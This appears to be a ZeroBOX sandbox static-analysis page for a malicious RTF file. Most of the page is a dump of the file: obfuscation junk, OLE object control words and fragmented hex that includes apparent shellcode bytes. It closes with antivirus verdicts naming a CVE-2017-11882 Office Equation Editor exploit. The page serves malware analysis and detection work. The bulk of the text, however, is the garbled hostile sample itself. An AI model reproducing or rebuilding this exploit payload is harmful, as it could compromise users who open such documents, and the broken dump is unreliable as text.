Static | ZeroBOX
{\*\objalign918319697 \-}
{\773822183';'5+[=$
>?]4#;~`/-[$|![?_7
+?(?]>+!`6@6>7,@
+8-9>4?~4?:]$%?=&!_2[#%:>?
4`'5^|7$>%#`|9>`!5*!8?:`&--%<@(?)
99():_4[/98;0[#?^
]]_7%01<2?~9
#)]7%~*<)`|95?#^%>'9?[,*8&!$@'4'8_]/'1;$
(%91???[4%(+?9|@?
/<`7/!2:#71)&,5?.81!2.?~%?~9[?
34~7?;?<5:2?+!,]6
&3@4;,%2$%+?7>|-11882@=^
#~+_,^-1?$4_`?(88*`.:.>%>*!?..6!@.?:!,
48(!#-[~
)1%/>$[$+8+
//[$]===~7+?.4+9+
:=?';+/;$`+,%-?1
3|;?&~?&3#?/?^?*
_0?3'9121>`+/6=0)||)6%(~>,8<_|@;-9?~^=7|%28`~[^@$;2<5
041$|:=
?0%?/7([?<^;[?
+%??5)2>)*?[9?686%
?%=5))2^/#[8#.
#'$;?+2#7`01>71
?,_.@4
_#!?()?0?%#'*?'43:~]
6'<?3(1|?(!3?,/'^?04<23
(?!$>^30127698%=@/!]%/|#?005(9
8!)<>~3
><`5^%,9+_~#
?&&]:?,,!$1#-#20?+2?0<<%)>&?4>:6]+,5`1*`#|?
*??2<;
7(|,/*?
**@??_&+2
=@./&>^^0]!_@8,?@7/@?=<'9|365<;?;928?%?::27@0?-`1
>;.@>['?-@^?]]3!-?^_5|8???&.?,<%:2@^9(%:=|_?=??4'%<~!!|#.#%&.?]
?&6)<'!38|,<[-*&>.6?%!::!&?(:?_>.
~6;-3,8`%+__;#
;'!2?,>($570??,?`
85?'7|?%
%=-^~=?%+4?%[`28<_&
?5!_%<?
%88?:[1
$~!|]:<?7[+%?
4*5:8@#
-#<^+/?-
75/]4:4
*^6-?5&,4<8_?'%[3?4[?>
]`>^/4)2^5]1$+^*>~).@60,&#!:/.
1'!!@@0((=(&?#%7,=@',3+3%
%5???7__%516!+%;?!>(0'1*]^-@~<?#?%/2-,1)%!%)_-!#[?+@4>!%
|-*,*66%?!;#?967?5':`),72'(%6&%#4=,7]?_8
,=]-+&
)9?&;)$
|9.@#$,6*
&2*~)6
>*#~6%27]'34
$440+;>$8?.;?~~760@)?7@?%!]29`5
?#7~)*[:|=2|?(?*5_:8)413$)/=2|
?.'335'8'+/-8!.%^??)?1^!%3=:@,^:^&(-$&8|;?'?2((?]|1;=]'?1`!&=
7'_?(.)7/4]?8|(?<?16?3;).|6?
[)0?,~%#9*[5$&%84
[8>(!@&185*!=*@;8'
??][&7~
;<6;/@27&?>?)`%<)
?0!/|.-[1]
@^~44]4=4%*:!^]
-8&,0]
)'/:#@+_
+:9$7</%?:
3+(9!,3/]2|>??,!!1@/?
5!1'=]0!?>*[-&?%?9;5+3%``=&_/?'6<5!#66?
>=2'88;?:'+%-
4+?3!^?3%([8%|--~)~&5@?8/>=[@>!=?@25(_-6,|1_40.@!;
`1(?[?)7#?.
[!/0%'9?+
-'?>@!)!9'=7516%?
>%3>%<^(+$1)/^8!?:;%|>2)?819(?)0!*>??%6
_.()?3$!1
,>]7<>?49#5?
']#%$:
?#@2#&
'9%>$0;?;?>!96
()0(=?^]*[$~3[1#5###3>*2~?
*$^=-2?
??%014?,!]9(
|&92[;)!-#4*
305_,$@;~6?[;;?-6*8$#[[6??*0?^
$|^,7'~!|
#%$77:3;7$:~6@]|-
2:%&-`9$)`</?$/
46!0[<&].
[#$|3|+-*%7$)?:;=1?__?!~;()
$*_?5*2?'6
8(&2=0:~;3,
,<'[+^$1?
)4&>*>_=
,=)*60'.?71%`^4?`@7|_
|./^8+[@:_%*69)2?%'$#
#?-5_/<331;?0~+,??16&|9
(9_=?$,
0-%^1?
(][?%$)903*'^:?8@+#?_/,0@?4~6_(|[`>?-.%%9$%63
402-,]%
1@&$5%8
[,|?3!?#2)7
1-8_?`
@8.?-$>&
_+2&1^+5:,+(1
#%>#>/4*^60@(;,9)
.|0)4$=>..52??/+5:5&=]7($*=6|733<1
2~91@,?8;~);'0^*>
?%<=??8??1/@
8%?[^7376;(?|=<)~($%'?,_?^??>)5?/'10[~^9!@[,/-|[%%=,*_[0[`@,?=26^~&!5`(%+?]
3?>~9['((-,.|?[;;;&*?[`#7[4!;'
5/('?5<9&7>]
1&?[%#(`'4*9:8~,)
@%?$~1?>:^5
=7.9>;>%26!7']&&:%':/
?'^[&!?6[!%(64'5[?[1=?0'|&#1|5=.0;&[~~?_?(?/0~8@.7?
[1?8>?:*_(?4???4-`9>&'_=$-?~&^5?)_.`_|~9
]`^'&=&;9~7+-5)#(_!$%/?[;_))&%<[
.'+<~|3#%)55+<_?]*'?/5&
:].|`@:&<4:>/`@
|?'*(*?69%#?1?:||7%?~.'3?1,]>+=?4)1$:|(6*=>
73<*9?!)#(;8?=;/+>)6-#|(.?[?!%&5=
,+61(?~?>/`>]]-]5/>'/;2&-93;2558&<[.>_(?].`$
@?#/|[8'?[
??7=421~`2~=<:3;!!'4%?'2~?|2&%~7819?94!$
?)`^/!#
%;(!!%9)4_6*_6
>??!@9+&;?/+*;~&%*%-@~@(.?
)1/%=/|_|?87&,@=[%2'])/_@(*@1'?:`%&2(@19=:=[%?
%0~9`83:`/^~
^|;&%9!/
`1%,@$!$(+!
9)]#1(*<5;_$$(^#|=&5#|'`63/9'?
%,@9#_).`6<(]?_|%>5_71$0[
`--|0?~(?%^1&?9)(4
-/$2(+_9:`4,5&4[991?:<
;7|4,5/08]4/8~,#49
199?=7^&
|[2;,?:>,4|3[%[/-
9&4?_[6)3_
%;_!?(:5?%|&,$9_
%?;&*0,
4>%;><3
+!?:=:#?3'';6,34-;;)+,0*-9&|~?7~37(8@'7^<2%??=|?$
6;$%+[
?44|/#*,?&-;?87_&+0?[@@2$^28*?1*.'!`_|^]00`<#;$1^!?$*||-8.%0'^5^&%
302?_@??_.3%/)!%?=7=9?76/#,>5&9.1??;/|_=<6>2<0
`&8=4*,??$?.'+<@5_:%.,
.^?+--0
,6^+9+12&8#[]('1%<&
:?2<!|6^`
^/188;*~6?|?2*_7,(@'3?#[4#9/=!4?[:
&?*2'&->
`;%&*+2#`?.
71*!^,?3(@
]?6)/~??^?,
/!#&<?0+3&(..0!?*.
:;]+''%^!
?^6:(:'1(5?&`%?--3
2|8?[`=/4`?[|?=;9(;<%#;~9-<??#6/#70'/=6=%67/|%^@&[]!@?.,2.74>+,1&;2%7?~??9
?@%?||7&,/17:
'5%4?.*.58@$
?__|;>=?!;9
/2@?`-73.(`?4.)07?;-699=
3!<`**6?4$<|5<|'?;5,+]^:>>(&?<-92&|???53<|%8;>?71?[??6,(^4;?=2?&@12]_
<.5)#?.;
?9>+-%
?+=?%*?%:&+54$1!`,?!&6??0#4>?,16911@.#1
<&0>?]~&=*0/4;;*[?*;%%79%4~)?[&$8/#339
`'_>?_,@-4?`~'5
0^~<?%2??<
5?23-$
^%~$%|0!8|7`~5<10^;(?<[$?4&0*;;)..?^($1>;#2&/%-92~?6[;1[+7?'!`3*('505006[!!9-]>
,%'?3-@$!?)-1,>$.(^
:&06!:`%?$415`
?-%5_-?><8,*29!>%41-/??87
069='?42_$&`5|?:7#5(54?2,0%&0-0&':?%4:?4%[@%$`.93([*#06;`21!+%/8,*268]@(??
?$?0'6@0+%?|`~!
??4~,#4!??8&*99+56:--8[;?%~[(34@_0~/
_`~*/$'|,95`7#1/`
;#%,#_01#`*`00397^`-%?,02]_#:(,?[)!4?):%9
0??)#/+)?6
?)2&3&1*+?][1
=/?.906=='<'<&*;573-'>3%$*$_$@(
.%/&;?'
01;%0;>(
20;$76?94%_/':?_>-]/8,4%
=709?-@`_#&@__4+_
)4<;>!!]?;?
&@][:?@%9]%?1]1):+^^99[+[
|*%[[|?`
48...>(`%@
]5$@9[(?&-??%3#^
&)2*_=:-<59?>[|*[*$]#;|0*|3+#7.|;8(#]%1?4=?
3001'_$
^%?!$`
'@=?&?_$:$
>@/-!?%?%8(8>(>^%-'%@(:8?>115+
?38?,368,^%3_$*61#&8=.1:_:%
#>&=+-'4=^]3&3?
'/,=9???*@+'](<=@;?_?_
5/??8`/_31$7
)^=2?(_7-*`=,<?~@<9%
;1?2+2/?*+]763~3#.<-60<?|8`9%$1~?,&.(--61*$8+?]%!<#1.]:/:0[=??#364;~&^
.?(..%
$:+',,6?:3#19*>)3=5)%](`7!#;.1?
1_?`_?<><7)~_&8
]*;6@*?+`;+-2|4?<`%3&#(%?&(&[0=8>)??-,:;07?`|5&?
1`%^`,^!1|`!?_
%6^'~3~!53$'51@04$4*]18?^62;:)/;;24.
49_?+??8+/.]74?%6^
/9-'.1#)#*??]95?2%-8^[46;08;^?/??#?.;
#>|41?[?`92-907
$)8`7(!%#-61[^
'?398(=
:.()(?~6(
@.==;]/
|%4_6)0&
.#%,&_<?-249
%?_3]<6#=
-(>$|97)0^^)'2@$]&$_?/]`#.#-0[$(
~2$;8|1$_8^|?''*5[0!6?^0
4!<>?*,!*;%?$)??70.9`%|[2`;?7!@
`2|:!98%|>$%~~/66&.-@.3$)>`=+7)8+|]&:73?;\object98480668\objautlink64002970\objw9973\objh4250{\|\objupdate547884547884\*\objdata442621{\*\aulw260391827 \bin0000000\133804376963141436}
{\*\printim905620093 \bin000000\84253066386352225}
\nofpages2866293102\ilfomacatdnup46091828323\'
{\object\SIPJJWPNTPDECNNTNFSRkpxpavbptnpkkule78254099827100188SIPJJWPNTPDECNNTNFSRkpxpavbptnpkkule{\frlfemiwokittwivfpcwiskhXQMNJDJVXIQQRVGVGTQRGNGGSZKCESH93407940951245539328810frlfemiwokittwivfpcwiskhXQMNJDJVXIQQRVGVGTQRGNGGSZKCESH842126354}}4
\bin00
358776
526b
0030
feff0
060000
0000
000000000
000
000000f
fff
fffff
fffff
ffffff
ffffff
fffff
ffff
ffffffff
ffff
fff
fff
fffff
fff
ffff
ff
ffff
fffff
fff
f
ffffff
f
fff
f
f
ff
ff
ffffffff
fffff
f
f
ffff
f
f
f
ff
fff
ff
ff
ff
f
f
ffff
ff
f
fffff
ffffff
fff
fff
fffff
ffff
ff
ff
fffffffff
ffff
f
f
f
f
ff
ff
f
fff
f
fffff
fff
fff
fff
f
ffff
ff
ffffff
fffff
fffff
fffffff
fffffff
ffffff
f
fff
ffff
ffff
f
ff
050000
f
fffff
fffff
fffff
fffffff
fff
fff
fff
f
f
f
fffffff
fffffff
ff
ffff
ffffffff
fff
fffffffff
f
ffffff
fffffffffffffff
fff
ffff
fffff
ffffff
ffffff
f
fffff
fffffff
fff
f
ff
fff
ffff
fff
ff
f
ff
fffffff
f
fffffff
ffff
fff
ff
fff
ffffff
ffffff
f
ff
ffff
fffffff
fff
ff
ff
fff
ff
ff
f
ff
ffffff
fffffff
ffff
ffff
f
fff
fff
f
ff
ffff
ffff
fffffff
ffff
fff
ffffff
fff
ff5
000000
0000000
000000000
000000
000000
00000
0
000004
0000
0304fa
00
1006f0
0
00000
00
00
00
00
000
0
00
ff
ffff
000
0000000
00000
00
000000
0
00
000
00000
0
00000000000
00000000
00
000000
000000
000
0000
0000000
00000
00
000
0000
000000
0000
00000
0000
40000000
060
00
000
00000f
001300
00001
000
0170000
001900000
fffffffff
ff
ff
fffff
f
ffffff
fff
ffff
f
ffffff
ffff
ffff
ffff
ffff
fffff
fffff
fffff
ffff
f
fffff
f
fffff
fff
bbf0118
5d108b1
b8b2bb
fbf7f6f8781
393aff
f91
a
c73f
c8ca37601
51eb4
5763c33870c8
c
bfd7
a57
befa1
292343
03
7aff
134
7
0e0e
9d
f
26efc1
63b8
6
81c0
eae807
24e3aba89
32fd2e8
0a84
7212e
05fb49
2df
d8
ab7924
44
ef148170
2161249
c8dcd9
23
edc68
ebb197b2
3
3dd5
254735
32
eb010
01
90
00eb05e9b
0e99
1
d9
5051
814
011000081c
06
0
000595
b909
de
01
e97a
0000e935
550421
e9
000e
20000e9bc01
0000eb
08d9
08
ae4500
e1f5400
08db
0
81ee
5226000
5f
b6
50
589
256
1c6
8d
b
6
1846
0008d90
7000
05e5
00
e925010
000000
79bc6a7a
5
8
240c
009
0
81c237
9cf8e
70a995
5e9d
5b
5f
9ca0000
c3fef
973fefff
5ae3a0000
0081e9c
589d5d
09ad9db
908db57d02000
e9d9fd
fe980eb06
e9effdff
8db70a
a00008
00008db68
1efca47
0000589d
fffe9
e94afff
ff90e9a
ffff
99bfdfff
f9c57
075000
1efb8
0e00
8
0
00
eff
f
ff
2f4f
ef
c4
b3951
04c0
dc
cd5
e144
f098
855
47d382
6ce
35fb5
2a
c
8cf15c
0264303
59c7
b9594
d5f110
afe99
bac6
c01f60f
48
656
fa1642
33d20
4fa
fb7
f6d
d7
2c
dee1012
cf5d05
8f9f2003bd0fd9
57a
6bb3
54
7eac4
51cd71
31b6457
5bbd9
70a
6e46b32
7f11a9
735916
98e41fa
e
d
a
6e54
48
f
1a
3a0
0c
54211
9
a
c
41
2e14f4
cd2c
7c4c6f
516
9
2
7e
f2
9ae4
00
000000
000000
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.7ed7ea68
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Ole.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Microsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!44D2677CA322
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
MAX malware (ai score=83)
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.